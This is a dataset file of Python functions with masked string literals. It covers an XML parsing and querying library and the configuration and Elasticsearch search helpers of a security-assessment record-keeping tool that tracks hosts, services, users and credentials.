{"signature": "def parse(url_or_path, encoding=None, handler_class=DrillHandler):", "body": "handler = handler_class()<EOL>parser = expat.ParserCreate(encoding)<EOL>parser.buffer_text = <NUM_LIT:1><EOL>parser.StartElementHandler = handler.start_element<EOL>parser.EndElementHandler = handler.end_element<EOL>parser.CharacterDataHandler = handler.characters<EOL>if isinstance(url_or_path, basestring):<EOL><INDENT>if '<STR_LIT>' in url_or_path[:<NUM_LIT:20>]:<EOL><INDENT>with contextlib.closing(url_lib.urlopen(url_or_path)) as f:<EOL><INDENT>parser.ParseFile(f)<EOL><DEDENT><DEDENT>elif url_or_path[:<NUM_LIT:100>].strip().startswith('<STR_LIT:<>'):<EOL><INDENT>if isinstance(url_or_path, unicode):<EOL><INDENT>if encoding is None:<EOL><INDENT>encoding = '<STR_LIT:utf-8>'<EOL><DEDENT>url_or_path = url_or_path.encode(encoding)<EOL><DEDENT>parser.Parse(url_or_path, True)<EOL><DEDENT>else:<EOL><INDENT>with open(url_or_path, '<STR_LIT:rb>') as f:<EOL><INDENT>parser.ParseFile(f)<EOL><DEDENT><DEDENT><DEDENT>elif PY3 and isinstance(url_or_path, bytes):<EOL><INDENT>parser.ParseFile(bytes_io(url_or_path))<EOL><DEDENT>else:<EOL><INDENT>parser.ParseFile(url_or_path)<EOL><DEDENT>return handler.root<EOL>", "docstring": ":param url_or_path: A file-like object, a filesystem path, a URL, or a string containing XML\n:rtype: :class:`XmlElement`", "id": "f7505:m4"}
{"signature": "def iterparse(filelike, encoding=None, handler_class=DrillHandler, xpath=None):", "body": "parser = expat.ParserCreate(encoding)<EOL>elem_iter = DrillElementIterator(filelike, parser)<EOL>handler = handler_class(elem_iter, xpath)<EOL>parser.buffer_text = <NUM_LIT:1><EOL>parser.StartElementHandler = handler.start_element<EOL>parser.EndElementHandler = handler.end_element<EOL>parser.CharacterDataHandler = handler.characters<EOL>return elem_iter<EOL>", "docstring": ":param filelike: A file-like object with a ``read`` method\n:returns: An iterator yielding :class:`XmlElement` objects", "id": "f7505:m5"}
{"signature": "def first(self):", "body": "for e in self:<EOL><INDENT>return e<EOL><DEDENT>", "docstring": "Returns the first matching element of this query, or None if there was no match.", "id": "f7505:c1:m3"}
{"signature": "def last(self):", "body": "last_found = None<EOL>for e in self:<EOL><INDENT>last_found = e<EOL><DEDENT>return last_found<EOL>", "docstring": "Returns the last matching element of this query, or None if there was no match.", "id": "f7505:c1:m4"}
{"signature": "def __bool__(self):", "body": "return True<EOL>", "docstring": "If we exist, we should evaluate to True, even if __len__ returns 0.", "id": "f7505:c2:m4"}
{"signature": "def __len__(self):", "body": "return len(self._children)<EOL>", "docstring": "Return the number of child nodes.", "id": "f7505:c2:m5"}
{"signature": "def __getitem__(self, idx):", "body": "if isinstance(idx, basestring):<EOL><INDENT>return self.attrs[idx]<EOL><DEDENT>return self._children[idx]<EOL>", "docstring": "Returns the child node at the given index.", "id": "f7505:c2:m6"}
{"signature": "def __getattr__(self, name):", "body": "return self.first(name)<EOL>", "docstring": "Allows access to any attribute or child node directly.", "id": "f7505:c2:m7"}
{"signature": "def write(self, writer):", "body": "multiline = bool(self._children)<EOL>newline_start = multiline and not bool(self.data)<EOL>writer.start(self.tagname, self.attrs, newline=newline_start)<EOL>if self.data:<EOL><INDENT>writer.data(self.data, newline=bool(self._children))<EOL><DEDENT>for c in self._children:<EOL><INDENT>c.write(writer)<EOL><DEDENT>writer.end(self.tagname, indent=multiline)<EOL>", "docstring": "Writes an XML representation of this node (including descendants) to the specified file-like object.\n\n:param writer: An :class:`XmlWriter` instance to write this node to", "id": "f7505:c2:m8"}
{"signature": "def xml(self, **kwargs):", "body": "s = bytes_io()<EOL>writer = XmlWriter(s, **kwargs)<EOL>self.write(writer)<EOL>return s.getvalue()<EOL>", "docstring": "Returns an XML representation of this node (including descendants). This method automatically creates an\n:class:`XmlWriter` instance internally to handle the writing.\n\n:param **kwargs: Any named arguments are passed along to the :class:`XmlWriter` constructor", "id": "f7505:c2:m9"}
{"signature": "def append(self, name, attrs=None, data=None):", "body": "elem = self.__class__(name, attrs, data, parent=self, index=len(self._children))<EOL>self._children.append(elem)<EOL>return elem<EOL>", "docstring": "Called when the parser detects a start tag (child element) while in this node. Internally creates an\n:class:`XmlElement` and adds it to the end of this node's children.\n\n:param name: The tag name to add\n:param attrs: Attributes for the new tag\n:param data: CDATA for the new tag\n:returns: The newly-created element\n:rtype: :class:`XmlElement`", "id": "f7505:c2:m11"}
{"signature": "def insert(self, before, name, attrs=None, data=None):", "body": "if isinstance(before, self.__class__):<EOL><INDENT>if before.parent != self:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>before = before.index<EOL><DEDENT>before = min(max(<NUM_LIT:0>, before), len(self._children))<EOL>elem = self.__class__(name, attrs, data, parent=self, index=before)<EOL>self._children.insert(before, elem)<EOL>for idx, c in enumerate(self._children):<EOL><INDENT>c.index = idx<EOL><DEDENT>return elem<EOL>", "docstring": "Inserts a new element as a child of this element, before the specified index or sibling.\n\n:param before: An :class:`XmlElement` or a numeric index to insert the new node before\n:param name: The tag name to add\n:param attrs: Attributes for the new tag\n:param data: CDATA for the new tag\n:returns: The newly-created element\n:rtype: :class:`XmlElement`", "id": "f7505:c2:m12"}
{"signature": "def clear(self):", "body": "self.attrs = {}<EOL>self.data = '<STR_LIT>'<EOL>self._children = []<EOL>", "docstring": "Clears out all children, attributes, and data. Especially useful when using :func:`iterparse`, to release\nmemory used by storing attributes, character data, and child nodes.", "id": "f7505:c2:m13"}
{"signature": "def items(self):", "body": "for key in sorted(self.attrs):<EOL><INDENT>yield key, self.attrs[key]<EOL><DEDENT>", "docstring": "A generator yielding ``(key, value)`` attribute pairs, sorted by key name.", "id": "f7505:c2:m14"}
{"signature": "def children(self, name=None, reverse=False):", "body": "elems = self._children<EOL>if reverse:<EOL><INDENT>elems = reversed(elems)<EOL><DEDENT>for elem in elems:<EOL><INDENT>if name is None or elem.tagname == name:<EOL><INDENT>yield elem<EOL><DEDENT><DEDENT>", "docstring": "A generator yielding children of this node.\n\n:param name: If specified, only consider elements with this tag name\n:param reverse: If ``True``, children will be yielded in reverse declaration order", "id": "f7505:c2:m15"}
{"signature": "def _match(self, pred):", "body": "if not pred:<EOL><INDENT>return True<EOL><DEDENT>pred = pred[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL>if pred.startswith('<STR_LIT:@>'):<EOL><INDENT>pred = pred[<NUM_LIT:1>:]<EOL>if '<STR_LIT:=>' in pred:<EOL><INDENT>attr, value = pred.split('<STR_LIT:=>', <NUM_LIT:1>)<EOL>if value[<NUM_LIT:0>] in ('<STR_LIT:\">', \"<STR_LIT:'>\"):<EOL><INDENT>value = value[<NUM_LIT:1>:]<EOL><DEDENT>if value[-<NUM_LIT:1>] in ('<STR_LIT:\">', \"<STR_LIT:'>\"):<EOL><INDENT>value = value[:-<NUM_LIT:1>]<EOL><DEDENT>return self.attrs.get(attr) == value<EOL><DEDENT>else:<EOL><INDENT>return pred in self.attrs<EOL><DEDENT><DEDENT>elif num_re.match(pred):<EOL><INDENT>index = int(pred)<EOL>if index < <NUM_LIT:0>:<EOL><INDENT>if self.parent:<EOL><INDENT>return self.index == (len(self.parent._children) + index)<EOL><DEDENT>else:<EOL><INDENT>return index == <NUM_LIT:0><EOL><DEDENT><DEDENT>else:<EOL><INDENT>return index == self.index<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if '<STR_LIT:=>' in pred:<EOL><INDENT>tag, value = pred.split('<STR_LIT:=>', <NUM_LIT:1>)<EOL>if value[<NUM_LIT:0>] in ('<STR_LIT:\">', \"<STR_LIT:'>\"):<EOL><INDENT>value = value[<NUM_LIT:1>:]<EOL><DEDENT>if value[-<NUM_LIT:1>] in ('<STR_LIT:\">', \"<STR_LIT:'>\"):<EOL><INDENT>value = value[:-<NUM_LIT:1>]<EOL><DEDENT>for c in self._children:<EOL><INDENT>if c.tagname == tag and c.data == value:<EOL><INDENT>return True<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for c in self._children:<EOL><INDENT>if c.tagname == pred:<EOL><INDENT>return True<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return False<EOL>", "docstring": "Helper function to determine if this node matches the given predicate.", "id": "f7505:c2:m16"}
{"signature": "def path(self, include_root=False):", "body": "path = '<STR_LIT>' % (self.tagname, self.index or <NUM_LIT:0>)<EOL>p = self.parent<EOL>while p is not None:<EOL><INDENT>if p.parent or include_root:<EOL><INDENT>path = '<STR_LIT>' % (p.tagname, p.index or <NUM_LIT:0>, path)<EOL><DEDENT>p = p.parent<EOL><DEDENT>return path<EOL>", "docstring": "Returns a canonical path to this element, relative to the root node.\n\n:param include_root: If ``True``, include the root node in the path. Defaults to ``False``.", "id": "f7505:c2:m17"}
{"signature": "def find(self, query):", "body": "return XmlQuery(self, query)<EOL>", "docstring": "Recursively find any descendants of this node matching the given query.\n\n:param query: A simplified XPath query describing elements that should be returned, e.g. ``//title``,\n    ``book/*``, ``*/author``, ``*/*``, etc.\n:returns: An :class:`XmlQuery` yielding matching descendants", "id": "f7505:c2:m18"}
{"signature": "def iter(self, name=None):", "body": "for c in self._children:<EOL><INDENT>if name is None or c.tagname == name:<EOL><INDENT>yield c<EOL><DEDENT>for gc in c.find(name):<EOL><INDENT>yield gc<EOL><DEDENT><DEDENT>", "docstring": "Recursively find any descendants of this node with the given tag name. If a tag name is omitted, this will\nyield every descendant node.\n\n:param name: If specified, only consider elements with this tag name\n:returns: A generator yielding descendants of this node", "id": "f7505:c2:m19"}
{"signature": "def first(self, name=None):", "body": "for c in self.children(name):<EOL><INDENT>return c<EOL><DEDENT>", "docstring": "Returns the first child of this node.\n\n:param name: If specified, only consider elements with this tag name\n:rtype: :class:`XmlElement`", "id": "f7505:c2:m20"}
{"signature": "def last(self, name=None):", "body": "for c in self.children(name, reverse=True):<EOL><INDENT>return c<EOL><DEDENT>", "docstring": "Returns the last child of this node.\n\n:param name: If specified, only consider elements with this tag name\n:rtype: :class:`XmlElement`", "id": "f7505:c2:m21"}
{"signature": "def parents(self, name=None):", "body": "p = self.parent<EOL>while p is not None:<EOL><INDENT>if name is None or p.tagname == name:<EOL><INDENT>yield p<EOL><DEDENT>p = p.parent<EOL><DEDENT>", "docstring": "Yields all parents of this element, back to the root element.\n\n:param name: If specified, only consider elements with this tag name", "id": "f7505:c2:m22"}
{"signature": "def siblings(self, name=None):", "body": "if self.parent and self.index:<EOL><INDENT>for c in self.parent._children:<EOL><INDENT>if c.index != self.index and (name is None or name == c.tagname):<EOL><INDENT>yield c<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Yields all siblings of this node (not including the node itself).\n\n:param name: If specified, only consider elements with this tag name", "id": "f7505:c2:m23"}
{"signature": "def next(self, name=None):", "body": "if self.parent is None or self.index is None:<EOL><INDENT>return None<EOL><DEDENT>for idx in xrange(self.index + <NUM_LIT:1>, len(self.parent)):<EOL><INDENT>if name is None or self.parent[idx].tagname == name:<EOL><INDENT>return self.parent[idx]<EOL><DEDENT><DEDENT>", "docstring": "Returns the next sibling of this node.\n\n:param name: If specified, only consider elements with this tag name\n:rtype: :class:`XmlElement`", "id": "f7505:c2:m24"}
{"signature": "def prev(self, name=None):", "body": "if self.parent is None or self.index is None:<EOL><INDENT>return None<EOL><DEDENT>for idx in xrange(self.index - <NUM_LIT:1>, -<NUM_LIT:1>, -<NUM_LIT:1>):<EOL><INDENT>if name is None or self.parent[idx].tagname == name:<EOL><INDENT>return self.parent[idx]<EOL><DEDENT><DEDENT>", "docstring": "Returns the previous sibling of this node.\n\n:param name: If specified, only consider elements with this tag name\n:rtype: :class:`XmlElement`", "id": "f7505:c2:m25"}
{"signature": "def add_tag(self, tag):", "body": "self.tags = list(set(self.tags or []) | set([tag]))<EOL>", "docstring": "Adds a tag to the list of tags and makes sure the result list contains only unique results.", "id": "f7507:c0:m1"}
{"signature": "def remove_tag(self, tag):", "body": "self.tags = list(set(self.tags or []) - set([tag]))<EOL>", "docstring": "Removes a tag from this object", "id": "f7507:c0:m2"}
{"signature": "def to_dict(self, include_meta=False):", "body": "result = super(JackalDoc, self).to_dict(include_meta=include_meta)<EOL>if include_meta:<EOL><INDENT>source = result.pop('<STR_LIT>')<EOL>return {**result, **source}<EOL><DEDENT>else:<EOL><INDENT>return result<EOL><DEDENT>", "docstring": "Returns the result as a dictionary, provide the include_meta flag to als show information like index and doctype.", "id": "f7507:c0:m3"}
{"signature": "def input_with_default(question, default):", "body": "return input(question + '<STR_LIT>'.format(default)) or default<EOL>", "docstring": "Helper function to return default value if string is empty.", "id": "f7508:m0"}
{"signature": "def manual_configure():", "body": "print(\"<STR_LIT>\")<EOL>mapping = { '<STR_LIT:1>': '<STR_LIT:y>', '<STR_LIT:0>': '<STR_LIT:n>'}<EOL>config = Config()<EOL>host = input_with_default(\"<STR_LIT>\", config.get('<STR_LIT>', '<STR_LIT:host>'))<EOL>config.set('<STR_LIT>', '<STR_LIT:host>', host)<EOL>if input_with_default(\"<STR_LIT>\", mapping[config.get('<STR_LIT>', '<STR_LIT>')]) == '<STR_LIT:y>':<EOL><INDENT>config.set('<STR_LIT>', '<STR_LIT>', '<STR_LIT:1>')<EOL>if input_with_default(\"<STR_LIT>\", '<STR_LIT:y>') == '<STR_LIT:y>':<EOL><INDENT>ca_certs = input_with_default(\"<STR_LIT>\", config.get('<STR_LIT>', '<STR_LIT>'))<EOL>config.set('<STR_LIT>', '<STR_LIT>', ca_certs)<EOL><DEDENT>else:<EOL><INDENT>config.set('<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>config.set('<STR_LIT>', '<STR_LIT>', '<STR_LIT:0>')<EOL><DEDENT>if input_with_default(\"<STR_LIT>\", mapping[config.get('<STR_LIT>', '<STR_LIT>')]) == '<STR_LIT:y>':<EOL><INDENT>config.set('<STR_LIT>', '<STR_LIT>', '<STR_LIT:1>')<EOL>client_cert = input_with_default(\"<STR_LIT>\", config.get('<STR_LIT>', '<STR_LIT>'))<EOL>config.set('<STR_LIT>', '<STR_LIT>', client_cert)<EOL>client_key = input_with_default(\"<STR_LIT>\", config.get('<STR_LIT>', '<STR_LIT>'))<EOL>config.set('<STR_LIT>', '<STR_LIT>', client_key)<EOL><DEDENT>else:<EOL><INDENT>config.set('<STR_LIT>', '<STR_LIT>', '<STR_LIT:0>')<EOL><DEDENT>index = input_with_default(\"<STR_LIT>\", config.get('<STR_LIT>', '<STR_LIT:index>'))<EOL>config.set('<STR_LIT>', '<STR_LIT:index>', index)<EOL>initialize_indices = (input_with_default(\"<STR_LIT>\", '<STR_LIT:y>').lower() == '<STR_LIT:y>')<EOL>nmap_dir = input_with_default(\"<STR_LIT>\", config.get('<STR_LIT>', '<STR_LIT>'))<EOL>if not os.path.exists(nmap_dir):<EOL><INDENT>os.makedirs(nmap_dir)<EOL><DEDENT>config.set('<STR_LIT>', '<STR_LIT>', nmap_dir)<EOL>nmap_options = input_with_default(\"<STR_LIT>\", config.get('<STR_LIT>', '<STR_LIT>'))<EOL>config.set('<STR_LIT>', '<STR_LIT>', nmap_options)<EOL>configure_nessus = (input_with_default(\"<STR_LIT>\", '<STR_LIT:n>').lower() == '<STR_LIT:y>')<EOL>if configure_nessus:<EOL><INDENT>nessus_host = input_with_default(\"<STR_LIT>\", config.get('<STR_LIT>', '<STR_LIT:host>'))<EOL>nessus_template = input_with_default(\"<STR_LIT>\", config.get('<STR_LIT>', '<STR_LIT>'))<EOL>nessus_access = input_with_default(\"<STR_LIT>\", config.get('<STR_LIT>', '<STR_LIT>'))<EOL>nessus_secret = input_with_default(\"<STR_LIT>\", config.get('<STR_LIT>', '<STR_LIT>'))<EOL>config.set('<STR_LIT>', '<STR_LIT:host>', nessus_host)<EOL>config.set('<STR_LIT>', '<STR_LIT>', nessus_template)<EOL>config.set('<STR_LIT>', '<STR_LIT>', nessus_access)<EOL>config.set('<STR_LIT>', '<STR_LIT>', nessus_secret)<EOL><DEDENT>configure_pipes = (input_with_default(\"<STR_LIT>\", '<STR_LIT:n>').lower() == '<STR_LIT:y>')<EOL>if configure_pipes:<EOL><INDENT>directory = input_with_default(\"<STR_LIT>\", config.get('<STR_LIT>', '<STR_LIT>'))<EOL>config.set('<STR_LIT>', '<STR_LIT>', directory)<EOL>config_file = input_with_default(\"<STR_LIT>\", config.get('<STR_LIT>', '<STR_LIT>'))<EOL>config.set('<STR_LIT>', '<STR_LIT>', config_file)<EOL>if not os.path.exists(directory):<EOL><INDENT>create = (input_with_default(\"<STR_LIT>\", '<STR_LIT:n>').lower() == '<STR_LIT:y>')<EOL>if create:<EOL><INDENT>os.makedirs(directory)<EOL><DEDENT><DEDENT>if not os.path.exists(os.path.join(config.config_dir, config_file)):<EOL><INDENT>f = open(os.path.join(config.config_dir, config_file), '<STR_LIT:a>')<EOL>f.close()<EOL><DEDENT><DEDENT>config.write_config(initialize_indices)<EOL>", "docstring": "Function to manually configure jackal.", "id": "f7508:m2"}
{"signature": "def set(self, section, key, value):", "body": "if not section in self.config:<EOL><INDENT>self.config.add_section(section)<EOL><DEDENT>self.config.set(section, key, value)<EOL>", "docstring": "Creates the section value if it does not exists and sets the value.\nUse write_config to actually set the value.", "id": "f7508:c0:m2"}
{"signature": "def get(self, section, key):", "body": "try:<EOL><INDENT>return self.config.get(section, key)<EOL><DEDENT>except configparser.NoSectionError:<EOL><INDENT>pass<EOL><DEDENT>except configparser.NoOptionError:<EOL><INDENT>pass<EOL><DEDENT>return self.defaults[section][key]<EOL>", "docstring": "This function tries to retrieve the value from the configfile\notherwise will return a default.", "id": "f7508:c0:m3"}
{"signature": "@property<EOL><INDENT>def config_file(self):<DEDENT>", "body": "config_file = os.path.join(self.config_dir, '<STR_LIT>')<EOL>return config_file<EOL>", "docstring": "Returns the configuration file name", "id": "f7508:c0:m4"}
{"signature": "@property<EOL><INDENT>def config_dir(self):<DEDENT>", "body": "home = expanduser('<STR_LIT>')<EOL>config_dir = os.path.join(home, '<STR_LIT>')<EOL>return config_dir<EOL>", "docstring": "Returns the configuration directory", "id": "f7508:c0:m5"}
{"signature": "def write_config(self, initialize_indices=False):", "body": "if not os.path.exists(self.config_dir):<EOL><INDENT>os.mkdir(self.config_dir)<EOL><DEDENT>with open(self.config_file, '<STR_LIT:w>') as configfile:<EOL><INDENT>self.config.write(configfile)<EOL><DEDENT>if initialize_indices:<EOL><INDENT>index = self.get('<STR_LIT>', '<STR_LIT:index>')<EOL>from jackal import Host, Range, Service, User, Credential, Log<EOL>from jackal.core import create_connection<EOL>create_connection(self)<EOL>Host.init(index=\"<STR_LIT>\".format(index))<EOL>Range.init(index=\"<STR_LIT>\".format(index))<EOL>Service.init(index=\"<STR_LIT>\".format(index))<EOL>User.init(index=\"<STR_LIT>\".format(index))<EOL>Credential.init(index=\"<STR_LIT>\".format(index))<EOL>Log.init(index=\"<STR_LIT>\".format(index))<EOL><DEDENT>", "docstring": "Write the current config to disk to store them.", "id": "f7508:c0:m6"}
{"signature": "def create_connection(conf):", "body": "host_config = {}<EOL>host_config['<STR_LIT>'] = [conf.get('<STR_LIT>', '<STR_LIT:host>')]<EOL>if int(conf.get('<STR_LIT>', '<STR_LIT>')):<EOL><INDENT>host_config['<STR_LIT>'] = True<EOL><DEDENT>if conf.get('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>host_config['<STR_LIT>'] = conf.get('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>if int(conf.get('<STR_LIT>', '<STR_LIT>')):<EOL><INDENT>host_config['<STR_LIT>'] = conf.get('<STR_LIT>', '<STR_LIT>')<EOL>host_config['<STR_LIT>'] = conf.get('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>host_config['<STR_LIT>'] = False<EOL>connections.create_connection(**host_config)<EOL>", "docstring": "Creates a connection based upon the given configuration object.", "id": "f7510:m0"}
{"signature": "def search(self, number=None, *args, **kwargs):", "body": "search = self.create_search(*args, **kwargs)<EOL>try:<EOL><INDENT>if number:<EOL><INDENT>response = search[<NUM_LIT:0>:number]<EOL><DEDENT>else:<EOL><INDENT>args, _ = self.core_parser.parse_known_args()<EOL>if args.number:<EOL><INDENT>response = search[<NUM_LIT:0>:args.number]<EOL><DEDENT>else:<EOL><INDENT>response = search.scan()<EOL><DEDENT><DEDENT>return [hit for hit in response]<EOL><DEDENT>except NotFoundError:<EOL><INDENT>print_error(\"<STR_LIT>\")<EOL>return []<EOL><DEDENT>except (ConnectionError, TransportError):<EOL><INDENT>print_error(\"<STR_LIT>\")<EOL>return []<EOL><DEDENT>", "docstring": "Searches the elasticsearch instance to retrieve the requested documents.", "id": "f7510:c0:m1"}
{"signature": "def argument_search(self):", "body": "arguments, _ = self.argparser.parse_known_args()<EOL>return self.search(**vars(arguments))<EOL>", "docstring": "Uses the command line arguments to fill the search function and call it.", "id": "f7510:c0:m2"}
{"signature": "def count(self, *args, **kwargs):", "body": "search = self.create_search(*args, **kwargs)<EOL>try:<EOL><INDENT>return search.count()<EOL><DEDENT>except NotFoundError:<EOL><INDENT>print_error(\"<STR_LIT>\")<EOL><DEDENT>except (ConnectionError, TransportError):<EOL><INDENT>print_error(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Returns the number of results after filtering with the given arguments.", "id": "f7510:c0:m3"}
{"signature": "def argument_count(self):", "body": "arguments, _ = self.argparser.parse_known_args()<EOL>return self.count(**vars(arguments))<EOL>", "docstring": "Uses the command line arguments to fill the count function and call it.", "id": "f7510:c0:m4"}
{"signature": "def create_search(self, *args, **kwargs):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Creates an search object from the given arguments.", "id": "f7510:c0:m5"}
{"signature": "def id_to_object(self, line):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "From an id return a valid object.", "id": "f7510:c0:m6"}
{"signature": "def object_to_id(self, obj):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "From the object, return the id.", "id": "f7510:c0:m7"}
{"signature": "def get_pipe(self, object_type):", "body": "for line in sys.stdin:<EOL><INDENT>try:<EOL><INDENT>data = json.loads(line.strip())<EOL>obj = object_type(**data)<EOL>yield obj<EOL><DEDENT>except ValueError:<EOL><INDENT>yield self.id_to_object(line.strip())<EOL><DEDENT><DEDENT>", "docstring": "Returns a generator that maps the input of the pipe to an elasticsearch object.\nWill call id_to_object if it cannot serialize the data from json.", "id": "f7510:c0:m8"}
{"signature": "def id_to_object(self, line):", "body": "result = Range.get(line, ignore=<NUM_LIT>)<EOL>if not result:<EOL><INDENT>result = Range(range=line)<EOL>result.save()<EOL><DEDENT>return result<EOL>", "docstring": "Resolves an ip adres to a range object, creating it if it doesn't exists.", "id": "f7510:c1:m3"}
{"signature": "def object_to_id(self, obj):", "body": "try:<EOL><INDENT>return obj.range<EOL><DEDENT>except AttributeError:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Returns the 'range' value of the given object if it exists, else returns None", "id": "f7510:c1:m4"}
{"signature": "@property<EOL><INDENT>def argparser(self):<DEDENT>", "body": "core_parser = self.core_parser<EOL>core_parser.add_argument('<STR_LIT>', '<STR_LIT>', type=str, help=\"<STR_LIT>\")<EOL>return core_parser<EOL>", "docstring": "Argparser option with search functionality specific for ranges.", "id": "f7510:c1:m5"}
{"signature": "def object_to_id(self, obj):", "body": "try:<EOL><INDENT>return obj.address<EOL><DEDENT>except AttributeError:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Returns the 'Address' value of the given object if it exists, else returns None", "id": "f7510:c2:m3"}
{"signature": "@property<EOL><INDENT>def argparser(self):<DEDENT>", "body": "core_parser = self.core_parser<EOL>core_parser.add_argument('<STR_LIT>', '<STR_LIT>', type=str, help=\"<STR_LIT>\", nargs=\"<STR_LIT:+>\", default=[])<EOL>core_parser.add_argument('<STR_LIT>', '<STR_LIT>', type=str, help=\"<STR_LIT>\", nargs=\"<STR_LIT:+>\", default=[])<EOL>core_parser.add_argument('<STR_LIT>', '<STR_LIT>', help=\"<STR_LIT>\", action=\"<STR_LIT:store_true>\")<EOL>core_parser.add_argument('<STR_LIT>', '<STR_LIT>', type=str, help=\"<STR_LIT>\")<EOL>core_parser.add_argument('<STR_LIT>', '<STR_LIT>', type=str, help=\"<STR_LIT>\")<EOL>return core_parser<EOL>", "docstring": "Argparser option with search functionality specific for hosts.", "id": "f7510:c2:m5"}
{"signature": "def object_to_id(self, obj):", "body": "search = Service.search()<EOL>search = search.filter(\"<STR_LIT>\", address=obj.address)<EOL>search = search.filter(\"<STR_LIT>\", protocol=obj.protocol)<EOL>search = search.filter(\"<STR_LIT>\", port=obj.port)<EOL>search = search.filter(\"<STR_LIT>\", state=obj.state)<EOL>if search.count():<EOL><INDENT>result = search[<NUM_LIT:0>].execute()[<NUM_LIT:0>]<EOL>return result.meta.id<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Searches elasticsearch for objects with the same address, protocol, port and state.", "id": "f7510:c3:m5"}
{"signature": "@property<EOL><INDENT>def argparser(self):<DEDENT>", "body": "core_parser = self.core_parser<EOL>core_parser.add_argument('<STR_LIT>', '<STR_LIT>', type=str, help=\"<STR_LIT>\", nargs=\"<STR_LIT:+>\", default=[])<EOL>core_parser.add_argument('<STR_LIT>', '<STR_LIT>', type=str, help=\"<STR_LIT>\", nargs=\"<STR_LIT:+>\", default=[])<EOL>core_parser.add_argument('<STR_LIT>', '<STR_LIT>', help=\"<STR_LIT>\", action=\"<STR_LIT:store_true>\")<EOL>core_parser.add_argument('<STR_LIT>', '<STR_LIT>', type=str, help=\"<STR_LIT>\")<EOL>return core_parser<EOL>", "docstring": "Argparser option with search functionality specific for hosts.", "id": "f7510:c3:m6"}
{"signature": "def id_to_object(self, line):", "body": "user = User.get(line, ignore=<NUM_LIT>)<EOL>if not user:<EOL><INDENT>user = User(username=line)<EOL>user.save()<EOL><DEDENT>return user<EOL>", "docstring": "Resolves the given id to a user object, if it doesn't exists it will be created.", "id": "f7510:c4:m2"}
{"signature": "def object_to_id(self, obj):", "body": "try:<EOL><INDENT>return obj.username<EOL><DEDENT>except AttributeError:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Returns the 'username' value of the given object if it exists, else returns None", "id": "f7510:c4:m3"}
{"signature": "def get_users(self, *args, **kwargs):", "body": "arguments, _ = self.argparser.parse_known_args()<EOL>if self.is_pipe and self.use_pipe:<EOL><INDENT>return self.get_pipe(self.object_type)<EOL><DEDENT>elif arguments.tags or arguments.group or arguments.search or arguments.domain:<EOL><INDENT>return self.argument_search()<EOL><DEDENT>else:<EOL><INDENT>return self.search(*args, **kwargs)<EOL><DEDENT>", "docstring": "Retrieves the users from elastic.", "id": "f7510:c4:m4"}
{"signature": "def get_domains(self):", "body": "search = User.search()<EOL>search.aggs.bucket('<STR_LIT>', '<STR_LIT>', field='<STR_LIT>', order={'<STR_LIT>': '<STR_LIT>'}, size=<NUM_LIT:100>)<EOL>response = search.execute()<EOL>return [entry.key for entry in response.aggregations.domains.buckets]<EOL>", "docstring": "Retrieves the domains of the users from elastic.", "id": "f7510:c4:m6"}
{"signature": "def id_to_object(self, line):", "body": "cred = Credential.get(line)<EOL>return cred<EOL>", "docstring": "Resolves the given id to a credential object, if it doesn't exists it will be created.", "id": "f7510:c5:m2"}
{"signature": "def find_object(self, username, secret, domain=None, host_ip=None, service_id=None):", "body": "<EOL>search = Credential.search()<EOL>search = search.filter(\"<STR_LIT>\", username=username)<EOL>search = search.filter(\"<STR_LIT>\", secret=secret)<EOL>if domain:<EOL><INDENT>search = search.filter(\"<STR_LIT>\", domain=domain)<EOL><DEDENT>else:<EOL><INDENT>search = search.exclude(\"<STR_LIT>\", field=\"<STR_LIT>\")<EOL><DEDENT>if host_ip:<EOL><INDENT>search = search.filter(\"<STR_LIT>\", host_ip=host_ip)<EOL><DEDENT>else:<EOL><INDENT>search = search.exclude(\"<STR_LIT>\", field=\"<STR_LIT>\")<EOL><DEDENT>if service_id:<EOL><INDENT>search = search.filter(\"<STR_LIT>\", service_id=service_id)<EOL><DEDENT>else:<EOL><INDENT>search = search.exclude(\"<STR_LIT>\", field=\"<STR_LIT>\")<EOL><DEDENT>if search.count():<EOL><INDENT>result = search[<NUM_LIT:0>].execute()[<NUM_LIT:0>]<EOL>return result<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Searches elasticsearch for objects with the same username, password, optional domain, host_ip and service_id.", "id": "f7510:c5:m3"}
{"signature": "def object_to_id(self, obj):", "body": "<EOL>search = Credential.search()<EOL>search = search.filter(\"<STR_LIT>\", username=obj.username)<EOL>search = search.filter(\"<STR_LIT>\", secret=obj.secret)<EOL>if obj.domain:<EOL><INDENT>search = search.filter(\"<STR_LIT>\", domain=obj.domain)<EOL><DEDENT>else:<EOL><INDENT>search = search.exclude(\"<STR_LIT>\", field=\"<STR_LIT>\")<EOL><DEDENT>if obj.host_ip:<EOL><INDENT>search = search.filter(\"<STR_LIT>\", host_ip=obj.host_ip)<EOL><DEDENT>else:<EOL><INDENT>search = search.exclude(\"<STR_LIT>\", field=\"<STR_LIT>\")<EOL><DEDENT>if obj.service_id:<EOL><INDENT>search = search.filter(\"<STR_LIT>\", service_id=obj.service_id)<EOL><DEDENT>else:<EOL><INDENT>search = search.exclude(\"<STR_LIT>\", field=\"<STR_LIT>\")<EOL><DEDENT>if search.count():<EOL><INDENT>result = search[<NUM_LIT:0>].execute()[<NUM_LIT:0>]<EOL>return result.meta.id<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Searches elasticsearch for objects with the same username, password, optional domain, host_ip and service_id.", "id": "f7510:c5:m4"}
